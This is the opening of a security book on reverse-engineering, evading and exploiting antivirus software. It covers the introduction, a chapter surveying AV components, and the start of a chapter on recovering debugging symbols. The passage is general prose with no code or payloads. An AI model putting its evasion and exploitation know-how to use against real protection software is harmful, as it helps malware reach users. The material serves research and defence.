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Welcome to The Antivirus Hacker’s Handbook. With this book, you can increase

your knowledge about antivirus products and reverse-engineering in general; 

while the reverse-engineering techniques and tools discussed in this book are 

applied to antivirus software, they can also be used with any other software 

products. Security researchers, penetration testers, and other information secu-

rity professionals can benefi t from this book. Antivirus developers will benefi t 

as well because they will learn more about how antivirus products are analyzed, 

how they can be broken into parts, and how to prevent it from being broken or 

make it harder to break. 

I want to stress that although this book is, naturally, focused on antivirus products, 

it also contains practical examples that show how to apply reverse-engineering, 

vulnerability discovery, and exploitation techniques to real-world applications.

Overview of the Book and Technology

This book is designed for individuals who need to better understand the func-

tionality of antivirus products, regardless of which side of the fence they are on: 

offensive or defensive. Its objective is to help you learn when and how specifi c 

techniques and tools should be used and what specifi c parts of antivirus prod-

ucts you should focus on, based on the specifi c tasks you want to accomplish. 

This book is for you if any of the following statements are true:

■ You want to learn more about the security of antivirus products.

■ You want to learn more about reverse-engineering, perhaps with the aim 

of reverse-engineering antivirus products.

■ You want to bypass antivirus software.

■ You want to break antivirus software into pieces.

Introoduction
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■ You want to write exploits for antivirus software.

■ You want to evaluate antivirus products.

■ You want to increase the overall security of your own antivirus products, 

or you want to know how to write security-aware code that will deal with 

hostile code.

■ You love to tinker with code, or you want to expand your skills and 

knowledge in the information security fi eld.

How This Book Is Organized

The contents of this book are structured as follows:

■ Chapter 1, “Introduction to Antivirus Software”—Guides you through

the history of antivirus software to the present, and discusses the most 

typical features available in antivirus products, as well as some less com-

mon ones.

■ Chapter 2, “Reverse-Engineering the Core”—Describes how to reverse-

engineer antivirus software, with tricks that can be used to debug the 

software or disable its self-protection mechanisms. This chapter also 

discusses how to apply this knowledge to create Python bindings for 

Avast for Linux, as well as a native C/C++ tool and unoffi cial SDK for 

the Comodo for Linux antivirus.

■ Chapter 3, “The Plug-ins System”—Discusses how antivirus products 

use plug-ins, how they are loaded, and how they are distributed, as well

as the purpose of antivirus plug-ins.

■ Chapter 4, “Understanding Antivirus Signatures”—Explores the most 

typical signature types used in antivirus products, as well as some more

advanced ones.

■ Chapter 5, “The Update System”—Describes how antivirus software is

updated, how the update systems are developed, and how update pro-

tocols work. This chapter concludes by showing a practical example of 

how to reverse-engineer an easy update protocol.

■ Chapter 6, “Antivirus Software Evasion”—Gives a basic overview of 

how to bypass antivirus software, so that fi les can evade detection. Some 

general tricks are discussed, as well as techniques that should be avoided.

■ Chapter 7, “Evading Signatures”—Continues where Chapter 4 left off 

and explores how to bypass various kinds of signatures.

■ Chapter 8, “Evading Scanners”—Continues the discussion of how to 

bypass antivirus products, this time focusing on scanners. This chapter 

looks at how to bypass some static heuristic engines, anti-disassembling,

anti-emulation, and other “anti-” tricks, as well as how to write an auto-

matic tool for portable executable fi le format evasion of antivirus scanners.
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■ Chapter 9, “Evading Heuristic Engines”—Finishes the discussion on

evasion by showing how to bypass both static and dynamic heuristic 

engines implemented by antivirus products.

■ Chapter 10, “Identifying the Attack Surface”—Introduces techniques 

used to attack antivirus products. This chapter will guide you through the 

process of identifying both the local and remote attack surfaces exposed

by antivirus software.

■ Chapter 11, “Denial of Service”—Starts with a discussion about perform-

ing denial-of-service attacks against antivirus software. This chapter dis-

cusses how such attacks can be launched against antivirus products both 

locally and remotely by exploiting their vulnerabilities and weaknesses.

■ Chapter 12, “Static Analysis”—Guides you through the process of stati-

cally auditing antivirus software to discover vulnerabilities, including 

real-world vulnerabilities.

■ Chapter 13, “Dynamic Analysis”—Continues with the discussion of 

fi nding vulnerabilities in antivirus products, but this time using dynamic 

analysis techniques. This chapter looks specifi cally at fuzzing, the most 

popular technique used to discover vulnerabilities today. Throughout 

this chapter, you will learn how to set up a distributed fuzzer with central 

administration to automatically discover bugs in antivirus products and

be able to analyze them.

■ Chapter 14, “Local Exploitation”—Guides you through the process of 

exploiting local vulnerabilities while putting special emphasis on logical

fl aws, backdoors, and unexpected usages of kernel-exposed functionality.

■ Chapter 15, “Remote Exploitation”—Discusses how to write exploits 

for memory corruption issues by taking advantage of typical mistakes in

antivirus products. This chapter also shows how to target update services 

and shows a full exploit for one update service protocol.

■ Chapter 16, “Current Trends in Antivirus Protection”—Discusses which

antivirus product users can be targeted by actors that use fl aws in anti-

virus software, and which users are unlikely to be targeted with such 

techniques. This chapter also briefl y discusses the dark world in which 

such bugs are developed.

■ Chapter 17, “Recommendations and the Possible Future”—Concludes

this book by making some recommendations to both antivirus users and

antivirus vendors, and discusses which strategies can be adopted in the

future by antivirus products.

Who Should Read This Book

This book is designed for individual developers and reverse-engineers with 

intermediate skills, although the seasoned reverse-engineer will also benefi t 
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from the techniques discussed here. If you are an antivirus engineer or a mal-

ware reverse-engineer, this book will help you to understand how attackers 

will try to exploit your software. It will also describe how to avoid undesirable 

situations, such as exploits for your antivirus product being used in targeted 

attacks against the users you are supposed to protect. 

More advanced individuals can use specifi c chapters to gain additional skills 

and knowledge. As an example, if you want to learn more about writing local 

or remote exploits for antivirus products, proceed to Part III, “Analysis and 

Exploitation,” where you will be guided through almost the entire process of 

discovering an attack surface, fi nding vulnerabilities, and exploiting them. If you 

are interested in antivirus evasion, then Part II, “Antivirus Software Evasion,” 

is for you. So, whereas some readers may want to read the book from start to 

fi nish, there is nothing to prevent you from moving around as needed.

Tools You Will Need

Your desire to learn is the most important thing you have as you start to read 

this book. Although I try to use open-source “free” software, this is not always 

possible. For example, I used the commercial tool IDA in a lot of cases; because 

antivirus programs are, with only one exception, closed-source commercial 

products, you need to use a reverse-engineering tool, and IDA is the de facto one. 

Other tools that you will need include compilers, interpreters (such as Python), 

and some tools that are not open source but that can be freely downloaded, such 

as the Sysinternals tools.

What’s on the Wiley Website

To make it as easy as possible for you to get started, some of the basic tools you 

will need are available on the Wiley website, which has been set up for this 

book at www.wiley.com/go/antivirushackershandbook. 

Summary (From Here, Up Next, and So On)

The Antivirus Hacker’s Handbook is designed to help readers become aware of 

what antivirus products are, what they are not, and what to expect from them; 

this information is not usually available to the public. Rather than discussing 

how antivirus products work in general, it shows real bugs, exploits, and tech-

niques for real-world products that you may be using right now and provides 

real-world techniques for evasion, vulnerability discovery, and exploitation. 

Learning how to break antivirus software not only helps attackers but also helps 

you to understand how antivirus products can be enhanced and how antivirus 

users can best protect themselves. 
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Antivirus software is designed to prevent computer infections by detecting 

malicious software, commonly called malware, on your computer and, when 

appropriate, removing the malware and disinfecting the computer. Malware, 

also referred to as samples in this book, can be classifi ed into various kinds,

namely, Trojans, viruses (infectors), rootkits, droppers, worms, and so on.

This chapter covers what antivirus (AV) software is and how it works. It offers 

a brief history of AV software and a short analysis of how it evolved over time.

What Is Antivirus Software?

Antivirus software is special security software that aims to give better protec-

tion than that offered by the underlying operating system (such as Windows or 

Mac OS X). In most cases, it is used as a preventive solution. However, when that 

fails, the AV software is used to disinfect the infected programs or to completely 

clean malicious software from the operating system.

AV software uses various techniques to identify malicious software, which 

often self-protects and hides deep in an operating system. Advanced malware 

may use undocumented operating system functionality and obscure techniques 

in order to persist and avoid being detected. Because of the large attack surface 

these days, AV software is designed to deal with all kinds of malicious payloads 

coming from both trusted and untrusted sources. Some malicious inputs that 

C H A P T E R 

1

Introduction to AAntivirus
Software
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AV software tries to protect an operating system from, with varying degrees 

of success, are network packets, email attachments, and exploits for browsers 

and document readers, as well as executable programs running on the operat-

ing system.

Antivirus Software: Past and Present

The earliest AV products were simply called scanners because they were command-

line scanners that tried to identify malicious patterns in executable programs. 

AV software has changed a lot since then. For example, many AV products no 

longer include command-line scanners. Most AV products now use graphical 

user interface (GUI) scanners that check every single fi le that is created, modi-

fi ed, or accessed by the operating system or by user programs. They also install 

fi rewalls to detect malicious software that uses the network to infect computers, 

install browser add-ons to detect web-based exploits, isolate browsers for safe 

payment, create kernel drivers for AV self-protection or sandboxing, and so on.

Since the old days of Microsoft DOS and other antiquated operating systems, 

software products have evolved alongside the operating systems, as is natural. 

However, AV software has evolved at a remarkable rate since the old days 

because of the incredible amount of malware that has been created. During the 

1990s, an AV company would receive only a handful of malware programs in 

the space of a week, and these were typically fi le infectors (or viruses). Now, 

an AV company will receive thousands of unique malicious fi les (unique con-

sidering their cryptographic hash, like MD5 or SHA-1) daily. This has forced 

the AV industry to focus on automatic detection and on creating heuristics for

detection of as-yet-unknown malicious software by both dynamic and static 

means. Chapters 3 and 4 discuss how AV software works in more depth.

The rapid evolution of malware and anti-malware software products is driven 

by a very simple motivator: money. In the early days, virus creators (also called 

vxers) used to write a special kind of fi le infector that focused on performing 

functions not previously done by others in order to gain recognition or just as a 

personal challenge. Today, malware development is a highly profi table business 

used to extort money from computer users, as well as steal their credentials for 

various online services such as eBay, Amazon, and Google Mail, as well as banks 

and payment platforms (PayPal, for example); the common goal is to make as 

much money as possible. 

Some players in the malware industry can steal email credentials for your 

Yahoo or Gmail accounts and use them to send spam or malicious software 

to thousands of users in your name. They can also use your stolen credit card 

information to issue payments to other bank accounts controlled by them or to 

pay mules to move the stolen money from dirty bank accounts to clean ones, so

their criminal activity becomes harder to trace.
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Another increasingly common type of malware is created by governments, 

shady organizations, or companies that sell malware (spying software) to govern-

ments, who in turn spy on their own people’s communications. Some software is 

designed to sabotage foreign countries’ infrastructures. For example, the notorious 

Stuxnet computer worm managed to sabotage Iran’s Natanz nuclear plant, using 

up to fi ve zero-day exploits. Another example of sabotage is between countries 

and companies that are in direct competition with another company or country 

or countries, such as the cyberattack on Saudi Aramco, a sabotage campaign 

attributed to Iran that targeted the biggest oil company in Saudi Arabia.

Software can also be created simply to spy on government networks, cor-

porations, or citizens; organizations like the National Security Agency (NSA) 

and Britain’s Government Communications Headquarters (GCHQ), as well as 

hackers from the Palestine Liberation Army (PLA), engage in these activities 

almost daily. Two examples of surveillance software are FinFisher and Hacking 

Team. Governments, as well as law enforcement and security agencies, have 

purchased commercial versions of FinFisher and Hacking Team to spy on 

criminals, suspects, and their own citizens. An example that comes to mind is 

the Bahrain government, which used FinFisher software to spy on rebels who 

were fi ghting against the government.

Big improvements and the large amounts of money invested in malware 

development have forced the AV industry to change and evolve dramatically 

over the last ten years. Unfortunately, the defensive side of information security, 

where AV software lies, is always behind the offensive side. Typically, an AV 

company cannot detect malware that is as yet unknown, especially if there is 

some quality assurance during the development of the malware software piece. 

The reason is very simple: AV evasion is a key part of malware development, 

and for attackers it is important that their malware stay undetected as long 

as possible. Many commercial malware packages, both legal and illegal, are 

sold with a window of support time. During that support period, the malware 

product is updated so it bypasses detection by AV software or by the operating 

system. Alternatively, malware may be updated to address and fi x bugs, add 

new features, and so on. AV software can be the target of an attack, as in the 

case of The Mask, which was government-sponsored malware that used one 

of Kaspersky’s zero-day exploits.

Antivirus Scanners, Kernels, and Products

A typical computer user may view the AV software as a simple software suite, 

but an attacker must be able to view the AV on a deeper level.

This chapter will detail the various components of an AV, namely, the kernel, 

command-line scanner, GUI scanner, daemons or system services, fi le system fi lter 

drivers, network fi lter drivers, and any other support utility that ships with it.



6 Part I ■ Antivirus Basics

ClamAV, the only open-source AV software, is an example of a scanner. It 

simply performs fi le scanning to discover malicious software patterns, and it 

prints a message for each detected fi le. ClamAV does not disinfect or use a true 

(behavioral-based) heuristic system.

A kernel, on the other hand, forms the core of an AV product. For example, 

the core of ClamAV is the libclam.so library. All the routines for unpacking

executable programs, compressors, cryptors, protectors, and so on are in this 

library. All the code for opening compressed fi les to iterate through all the streams

in a PDF fi le or to enumerate and analyze the clusters in one OLE2 container 

fi le (such as a Microsoft Word document) are also in this library. The kernel is 

used by the scanner clamscan, by the resident (or daemon) clamd, or by other 

programs and libraries such as its Python bindings, which are called PyClamd.

N O T E  AV products often use more than one AV core or kernel. For example, 

F-Secure uses its own AV engine and the engine licensed from BitDefender.

An antivirus product may not always offer third-party developers direct access 

to its core; instead, it may offer access to command-line scanners. Other AV 

products may not give access to command-line scanners; instead, they may only 

allow access to the GUI scanner or to a GUI program to confi gure how the real-

time protection, or another part of the product, handles malware detection and 

disinfection. The AV product suite may also ship with other security programs, 

such as browsers, browser toolbars, drivers for self-protection, fi rewalls, and so on. 

As you can see, the product is the whole software package the AV company 

ships to the customer, while the scanners are the tools used to scan fi les and 

directories, and the kernel includes the core features offered to higher-level 

software components such as the GUI or command-line scanners.

Typical Misconceptions about Antivirus Software

Most AV users believe that security products are bulletproof and that just install-

ing AV software keeps their computers safe. This belief is not sound, and it is 

not uncommon to read comments in AV forums like, “I’m infected with XXX 

malware. How can it be? I have YYY AV product installed!”

To illustrate why AV software is not bulletproof, let’s take a look at the tasks 

performed by modern AV products:

■ Discovering known malicious patterns and bad behaviors in programs

■ Discovering known malicious patterns in documents and web pages

■ Discovering known malicious patterns in network packets

■ Trying to adapt and discover new bad behaviors or patterns based on 

experience with previously known ones
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You may have noticed that the word known is used in each of these tasks.

AV products are not bulletproof solutions to combat malware because an AV 

product cannot identify what is unknown. Marketing material from various AV 

products may lead the average users to think they are protected from everything, 

but this is unfortunately far from true. The AV industry is based on known 

malware patterns; an AV product cannot spot new unknown threats unless 

they are based on old known patterns (either behavioral or static), regardless 

of what the AV industry advertises. 

Antivirus Features

All antivirus products share a set of common features, and so studying one 

system will help you understand another system. The following is a short list 

of common features found in AV products:

■ The capability to scan compressed fi les and packed executables

■ Tools for performing on-demand or real-time fi le or directory scanning

■ A self-protection driver to guard against malware attacking the actual AV 

■ Firewall and network inspection functionality

■ Command-line and graphical interface tools

■ A daemon or service

■ A management console

The following sections enumerate and briefl y discuss some common features 

shared by most AV products, as well as more advanced features that are avail-

able only in some products.

Basic Features

An antivirus product should have some basic features and meet certain require-

ments in order to be useable. For example, a basic requirement is that the AV 

scanner and kernel should be fast and consume little memory.

Making Use of Native Languages

Most AV engines (except the old Malwarebytes software, which was not a full 

AV product) are written in non-managed/native languages such as C, C++, or a 

mix of both. AV engines must execute as quickly as possible without degrading 

the system’s performance. Native languages fulfi ll these requirements because, 

when code is compiled, they run natively on the host CPU at full speed. In the 



8 Part I ■ Antivirus Basics

case of managed software, the compiled code is emitted into a bytecode format 

and requires an extra layer to run: a virtual machine interpreter embedded in 

the AV kernel that knows how to execute the bytecode.

For example, Android DEX fi les, Java, and .NET-managed code all require 

some sort of virtual machine to run the compiled bytecode. This extra layer is 

what puts native languages ahead of managed languages. Writing code using 

native languages has its drawbacks, though. It is harder to code with, and it is 

easier to leak memory and system resources, cause memory corruption (buffer 

overfl ows, use-after-free, double-free), or introduce programming bugs that may 

have serious security implications. Neither C nor C++ offers any mechanism 

to protect from memory corruptions in the way that managed languages such 

as .NET, Python, and Lua do. Chapter 3 describes vulnerabilities in the parsers 

and reveals why this is the most common source of bugs in AV software.

Scanners

Another common feature of AV products is the scanner, which may be a GUI or 

command-line on-demand scanner. Such tools are used to scan whenever the 

user decides to check a set of fi les, directories, or the system’s memory. There 

are also on-access scanners, more typically called residents or real-time scanners. 
The resident analyzes fi les that are accessed, created, modifi ed, or executed 

by the operating system or other programs (like web browsers); it does this to 

prevent the infection of document and program fi les by viruses or to prevent 

known malware fi les from executing. 

The resident is one of the most interesting components to attack; for example, 

a bug in the parser of Microsoft Word documents can expose the resident to 

arbitrary code execution after a malicious Word document is downloaded

(even if the user doesn’t open the fi le). A security bug in the AV’s email message 

parser code may also trigger malicious code execution when a new email with 

a malicious attachment arrives and the temporary fi les are created on disk and 

analyzed by the on-access scanner. When these bugs are triggered, they can 

be used as a denial-of-service attack, which makes the AV program crash or 

loop forever, thus disarming the antivirus temporarily or permanently until 

the user restarts it.

Signatures

The scanner of any AV product searches fi les or packets using a set of signatures 

to determine if the fi les or packets are malicious; it also assigns a name to a 

pattern. The signatures are the known patterns of malicious fi les. Some typical, 

rather basic, signatures are consumed by simple pattern-matching techniques 

(for example, fi nding a specifi c string, like the EICAR string), CRCs (checksums), 

or MD5 hashes. Relying on cryptographic hashes, like MD5, works for only a 
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specifi c fi le (as a cryptographic hash tries to identify just that fi le), while other 

fuzzy logic-based signatures, like when applying the CRC algorithm on specifi c 

chunks of data (as opposed to hashing the whole fi le), can identify various fi les. 

AV products usually have different types of signatures, as described in 

Chapter 8. These signature types range from simple CRCs to rather complex 

heuristics patterns based on many features of the PE header, the complexity of 

the code at the entry point of the executable fi le, and the entropy of the whole 

fi le or some section or segment in the executable fi le. Sometimes signatures are 

also based on the basic blocks discovered while performing code analysis from 

the entry point of the executable fi les under analysis, and so on. 

Each kind of signature has advantages and disadvantages. For example, 

some signatures are very specifi c and less likely to be prone to a false positive
(when a healthy fi le is fl agged as malware), while others are very risky and can 

generate a large list of false positives. Imagine, for example, a signature that 

fi nds the word Microsoft anywhere in a fi le that starts with the bytes MZ\x90. 

This would cause a large list of false positives, regardless of whether it was dis-

covered in a malware fi le. Signatures must be created with great care to avoid 

false positives, like the one in Figure 1-1, or true negatives (when true malware 

code is fl agged as benign).

Figure 1-1:  A false positive generated with Comodo Internet Security and the de facto reverse-
engineering tool IDA

Compressors and Archives

Another key part of every AV kernel is the support for compressed or archived 

fi le formats: ZIP, TGZ, 7z, XAR, and RAR, to name just a few. AVs must be able 

to decompress and navigate through all the fi les inside any compressed or 

archived fi le, as well as compressed streams in PDF fi les and other fi le formats. 

Because AV kernels must support so many different fi le formats, vulnerabilities 

are often found in the code that deals with this variety of input.

This book discusses various vulnerabilities that affect different AV products.
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Unpackers

An unpacker is a routine or set of routines developed for unpacking protected 

or compressed executable fi les. Malware in the form of executables is commonly 

packed using freely available compressors and protectors or proprietary pack-

ers (obtained both legally and illegally). The number of packers an AV kernel 

must support is even larger than the number of compressors and archives, and

it grows almost every month with the emergence of new packers used to hide 

the logic of new malware.

Some packer tools, such as UPX (the Universal Unpacker), just apply simple 

compression. Unpacking samples compressed by UPX is a very simple and 

straightforward matter. On the other hand, there are very complex pieces of 

software packers and protectors that transform the code to be packed into 

bytecode and then inject one or more randomly generated virtual machines 

into the executable so it runs the original code that the malware wrote. Getting 

rid of this virtualization layer and uncovering the logic of the malware is very 

hard and time-consuming.

Some packers can be unpacked using the CPU emulator of the AV kernel (a 

component that is discussed in the following sections); others are unpacked exclu-

sively via static means. Other more complex ones can be unpacked using both 

techniques: using the emulator up to some specifi c layer and then using a static 

routine that is faster than using the emulator when some specifi c values are known 

(such as the size of the encrypted data, the algorithm used, the key, and so on).

As with compressors and archives, unpackers are a very common area to 

explore when you are looking for vulnerabilities in AV software. The list of 

packers to be supported is immense; some of them are used only during some 

specifi c malware campaign, so the code is likely written once and never again 

verifi ed or audited. The list of packers to be supported grows every year.

Emulators

Most AV kernels on the market offer support for a number of emulators, with 

the only exception being ClamAV. The most common emulator in AV cores 

is the Intel x86 emulator. Some advanced AV products can offer support for

AMD64 or ARM emulators. Emulators are not limited to regular CPUs, like Intel 

x86, AMD64, or ARM; there are also emulators for some virtual machines. For 

example, some emulators are aimed at inspecting Java bytecode, Android DEX 

bytecode, JavaScript, and even VBScript or Adobe ActionScript.

Fingerprinting or bypassing emulators and virtual machines used in AV 

products is an easy task: you just need to fi nd some incongruities here and 

there. For example, for the Intel x86 emulator, it is unlikely, if not impossible, 

that the developers of the AV kernel would implement all of the instructions 

supported by to-be-emulated CPUs in the same way the manufacturers of those 
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specifi c CPUs do. For higher-level components that use the emulator, such as 

the execution environments for ELF or PE fi les, it is even less likely that the 

developers would implement the whole operating system environment or every 

API provided by the OS. Therefore, it is really easy to discover many different 

ways to fool emulators and to fi ngerprint them. Many techniques for evading 

AV emulators are discussed in this book, as are techniques for fi ngerprinting 

them. Part 3 of this book covers writing exploits for a specifi c AV engine.

Miscellaneous File Formats

Developing an AV kernel is very complex. The previous sections discussed some 

of the common features shared by AV cores, and you can imagine the time and 

effort required to support these features. However, it is even worse with an AV 

kernel; the kernel must support a very long list of fi le formats in order to catch 

exploits embedded in the fi les. Some fi le formats (excluding compressors and 

archives) that come to mind are OLE2 containers (Word or Excel documents); 

HTML pages, XML documents, and PDF fi les; CHM help fi les and old Microsoft 

Help fi le formats; PE, ELF, and MachO executables; JPG, PNG, GIF, TGA, and 

TIFF image fi le formats; ICO and CUR icon formats; MP3, MP4, AVI, ASF, and

MOV video and audio fi le formats; and so on.

Every time an exploit appears for some new fi le format, an AV engineer must 

add some level of support for this fi le format. Some formats are so complex 

that even their original author may have problems correctly handling them; 

two examples are Microsoft and its Offi ce fi le formats, and Adobe and its PDF 

format. So why would AV developers be expected to handle it better than the 

original author, considering that they probably have no previous knowledge 

about this fi le format and may need to do some reverse-engineering work? As 

you can guess, this is the most error-prone area in any AV software and will 

remain so for a long time.

Advanced Features

The following sections discuss some of the most common advanced features 

supported by AV products.

Packet Filters and Firewalls

From the end of the 1990s up until around 2010, it was very common to see a 

new type of malware, called worms, that abused one or more remote vulner-

abilities in some targeted software products. Sometimes these worms simply 

used default username-and-password combinations to infect network shares 

in Windows CIFS networks by copying themselves with catchy names. Famous 

examples are “I love you,” Confi cker, Melissa, Nimda, Slammer, and Code Red. 
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Because many worms used network resources to infect computers, the AV 

industry decided to inspect networks for incoming and outgoing traffi c. To do 

so, AV software installed drivers for network traffi c analysis, and fi rewalls for 

blocking and detecting the most common known attacks. As with the previously 

mentioned features, this is a good source of bugs, and today worms are almost 

gone. This is a feature in AV products that has not been updated in years; as a 

result, it is likely suffering from a number of vulnerabilities because it has been 

practically abandoned. This is one of the remotely exposed attack surfaces that 

are analyzed in Chapter 11.

Self-Protection

As AV software tries to protect computer users from malware, the malware 

also tries to protect itself from the AV software. In some cases, the malware

will try to kill the processes of the installed AV product in order to disable 

it. Many AV products implement self-protection techniques in kernel driv-

ers to prevent the most common killing operations, such as issuing a call to 

ZwTerminateProcess. Other self-protection techniques used by AV software

can be based on denying calls to OpenProcess with certain parameters for their 

AV processes or preventing WriteProcessMemory calls, which are used to inject 

code in a foreign process.

These techniques are usually implemented with kernel drivers; the protec-

tion can also be implemented in userland. However, relying on code running in

userland is a failing protection model that is known not to have worked since 

2000; in any case, many AV products still make this mistake. Various AV products 

that experience this problem are discussed in Part III of this book.

Anti-Exploiting

Operating systems, including Windows, Mac OS X, and Linux, now offer anti-

exploiting features, also referred to as security mitigations, like Address Space 

Layout Randomization (ASLR) and Data Execution Prevention (DEP), but this 

is a recent development. This is why some AV suites offer (or used to offer) 

anti-exploiting solutions. Some anti-exploiting techniques can be as simple as 

enforcing ASLR and DEP for every single program and library linked to the 

executable, while other techniques are more complex, like user- or kernel-land

hooks to determine if some action is allowed for some specifi c process.

Unfortunately, as is common with AV software, most anti-exploiting toolkits 

offered by the AV industry are implemented in userland via function hooking; 

the Malwarebytes anti-exploiting toolkit is one example. With the advent of the

Microsoft Enhanced Mitigation Experience Toolkit (EMET), most anti-exploiting 

toolkits implemented by the AV industry either are incomplete compared to it 

or are simply not up to date, making them easy to bypass. 
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 In some cases, using anti-exploiting toolkits implemented by some AV compa-

nies is even worse than not using any anti-exploiting toolkit at all. One example 

is the Sophos Buffer Overfl ow Protection System (BOPS), an ASLR implementa-

tion. Tavis Ormandy, a prolifi c researcher working for Google, discovered that 

Sophos installed a system-wide Dynamic Link Library (DLL) without ASLR 

being enabled. This system-wide DLL was injected into processes in order to 

enforce and implement a faux ASLR for operating systems without ASLR, like 

Windows XP. Ironically, this system-wide DLL was itself compiled without

ASLR support; as a result, in operating systems offering ASLR, like Windows 

Vista, ASLR was effectively disabled because this DLL was not ASLR enabled. 

More problems with toolkit implementations in AV software are discussed 

in Part IV of this book.

Summary 

 This introductory chapter talked about the history of antiviruses, various types 

of malware, and the evolution of both the AV industry and the malware writers’ 

skills who seem to be always ahead of their game. In the second part of this 

chapter, the antivirus suite was dissected, and its various basic and advanced 

features were explained in an introductory manner, paving the way for more 

detailed explanation in the subsequent chapters of the book.

In summary:

■ Back in the old days when the AV industry was in its infancy, the AVs 

were called scanners because they were made of command-line scanners 

and a signature database. As the malware evolved, so did the AV. AV 

software now includes heuristic engines and aims at protecting against 

browser exploits, network packets, email attachments, and document fi les.

■ There are various types of malicious software, such as Trojans, malware,

viruses, rootkits, worms, droppers, exploits, shellcode, and so on.

■ Black hat malware writers are motivated by monetary gains and intel-

lectual property theft, among other motivations.

■ Governments also participate in writing malware in the form of spying or 

sabotage software. Often they write malware to protect their own inter-

ests, like the Bahrain government used the FinFisher software to spy on

rebels or to sabotage other countries’ infrastructures as in the case of the

Stuxnet malware that was allegedly co-written by the U.S. and the Israeli 

governments to target the Iranian nuclear program.

■ AV products are well marketed using all sort of buzz words. This market-

ing strategy can be misleading and gives the average users a false sense 

of security.
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■ An AV software is a system made of the core or the kernel, which orches-

trates the functionality between all the other components: plug-ins, system 

services, fi le system fi lter drivers, kernel AV components, and so on.

■ AV need to run fast. Languages that compile into native code are the 

best choice because they compile natively on the platform without the 

overhead of interpreters (such as VM interpreters). Some parts of the AV 

can be written using managed or interpreted languages.

■ An AV software is made up of basic features such as the core or the kernel, 

the scanning engine, signatures, decompressors, emulators, and support 

for various fi le format parsing. Additionally, AV products may offer some 

advanced features, such as packet inspection capabilities, browser security 

add-ons, self-protection, and anti-exploitation.

The next chapter starts discussing how to reverse-engineer AV cores kernels 

for the sake of automated security testing and fuzzing. Fuzzing is just one way 

to detect security bugs in antiviruses. 
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The core of an antivirus product is the internal engine, also known as the kernel. 

It glues together all important components of the AV while providing support-

ing functionality for them. For example, the scanners use the API exported 

by the core to analyze fi les, directories, and buffers, as well as to launch other 

analysis types.

This chapter discusses how you can reverse-engineer the core of an antivirus 

product, what features are interesting from an attacker’s viewpoint, and some 

techniques to make the reverse-engineering process easier, especially when 

the antivirus software tries to protect itself against being reverse-engineered. 

By the end of the chapter, you will use Python to write a standalone tool that 

interfaces directly with the core of an AV product, thus enabling you to perform 

fuzzing, or automated testing of your evasion techniques.

Reverse-Engineering Tools

The de facto tool for reverse-engineering is the commercial IDA  disassembler. 

During the course of this book, it is assumed that you have a basic knowledge 

of IDA because you will be using it for static and dynamic analysis tasks. Other 

tools that this chapter covers are WinDbg and GDB, which are the standard

debuggers for Windows and Linux, respectively. The examples will also use 

Python for automating typical reverse-engineering tasks both from inside IDA 

C H A P T E R 
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Reverse-Engineering the Corethe Core
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and using the IDAPython plug-in and for writing standalone scripts that do not 

rely on other third-party plug-ins.

Because this chapter covers malware and researching AV evasion techniques, 

it is recommended that you use virtualization software (such as VMware, 

VirtualBox, or even QEMU) and carry out the experimentation in a safe, virtual-

ized environment. As you will see in the following sections, debugging symbols 

will be helpful to you when they are present, and the Linux version of an AV 

is most likely to have debugging symbols shipped with it.

For the rest of the book, it is recommended that you keep two virtual machines 

handy—one with Windows and the other with Linux—in case you want to do 

hands-on experimentation.

Command-Line Tools versus GUI Tools

All current antivirus products offer some kind of GUI interface for confi guring 

them, viewing results, setting up scheduled scans, and so on. The GUI scanners 

are typically too dense to reverse-engineer because they do not interact exclusively 

with the antivirus kernel also with many other components. Simply trying to 

discern which code handles GUI painting, refreshing, window events, and so 

on is a signifi cant task that involves both static and dynamic work. Fortunately, 

some of today’s antivirus products offer command-line-independent scanners. 

Command-line tools are smaller than their GUI counterparts and are often 

self-contained, making them the most interesting target to start the reverse-

engineering process.

Some AV software is designed to run in a centralized server, and therefore 

the scanning core is used by the server component rather than by the command-

line tools or the GUIs. In such cases, the server will expose a communication 

protocol for the command-line tools to connect to and interface with. That does 

not mean that the server component has to exist in its own machine; instead, 

it can still run locally as a system service. For example, Avast for Linux and 

Kaspersky antivirus products have a server, and the GUIs or command-line 

scanners connect to it, issue the scan queries through it, and then wait for the

results. In such cases, if you attempt to reverse-engineer the command-line 

tool, you will only learn about the communication protocol, or if you are lucky, 

you may fi nd remote vulnerabilities in the servers, but you will not be able to 

understand how the kernel works. To understand how the kernel works, you 

have to reverse-engineer the server component, which, as mentioned before, is 

hosting the kernel.

In the following sections, the server component from Avast AV for Linux will 

be used as an example.
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Debugging Symbols

On the Windows platform, it is unusual for products to ship with the correspond-

ing debugging symbols. On the other hand, on Unix-based operating systems, 

debugging symbols often ship with third-party products (usually embedded 

in the binaries). The lack of debugging symbols makes reverse-engineering of 

the core of the antivirus product or any of its components a diffi cult task at fi rst 

because you do not have function or label names that correspond to the disas-

sembly listing. As you will see, there are tricks and tools that may help you 

discover some or all of the symbols for your target antivirus product.

When an AV product exists for various platforms, it does not make sense 

for the company to have different source code for these different platforms. As 

such, in multi-platform AV products, it is very common for the kernel to share 

all or some of the source code base between the various platforms. In those 

situations, when you reverse the core on one platform, reversing it on another 

platform becomes easier, as you shall see.

There are exceptions to this. For example, the AV product may not have a 

core for a certain platform (say, for Mac OS X) and may license it from another 

AV vendor. The AV vendor may decide to integrate another existing product’s 

kernel into its own product so it only needs to change names, copyright notices, 

and the other resources such as strings, icons, and images. This is the case 

with the Bitdefender product and its engine, where many companies purchase 

licenses for the engine.

Returning to the original question about how to get a partial or full under-

standing of how the executable images work, you need to check whether the 

product you want to analyze offers any version for Unix-based operating systems 

(Linux, BSD, or Mac OS X), and you hope that the symbols are embedded in the 

binaries. If you are lucky, you will have symbols on that platform, and because 

the core is most likely the same between different operating system versions (with 

a few differences such as the use of OS-specifi c APIs and runtime libraries), you 

will be able to transfer the debugging symbols from one platform to another.

Tricks for Retrieving Debugging Symbols

Having established that on Unix-based operating systems you are more likely 

to have debugging symbols for AV products, this section uses the F-Secure anti-

virus products as an example. Consider the fm library (fm4av.dll in Windows,

and libfm-lnx32.so in Linux). Windows does not have debugging symbols 

for that library, but the Linux version includes many symbols for this and 

other binaries.
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Figure 2-1 shows the functions list discovered by IDA for the Windows version.

Figure 2-1:  F-Secure for Windows library fm4av.dll as displayed in IDA

Figure 2-2 shows the functions list with meaningful names, pulled by IDA 

from the embedded symbols in the binary, for the very same library but for the 

Linux version.

Considering that antivirus kernels are almost equal, with only a few 

exceptions between platforms, you can start by reverse-engineering the 

Linux version. The functionality will be similar in the Windows version. 

You can port the symbols from the Linux version to the Windows version 

using third-party commercial binary diffi ng products such as zynamics 

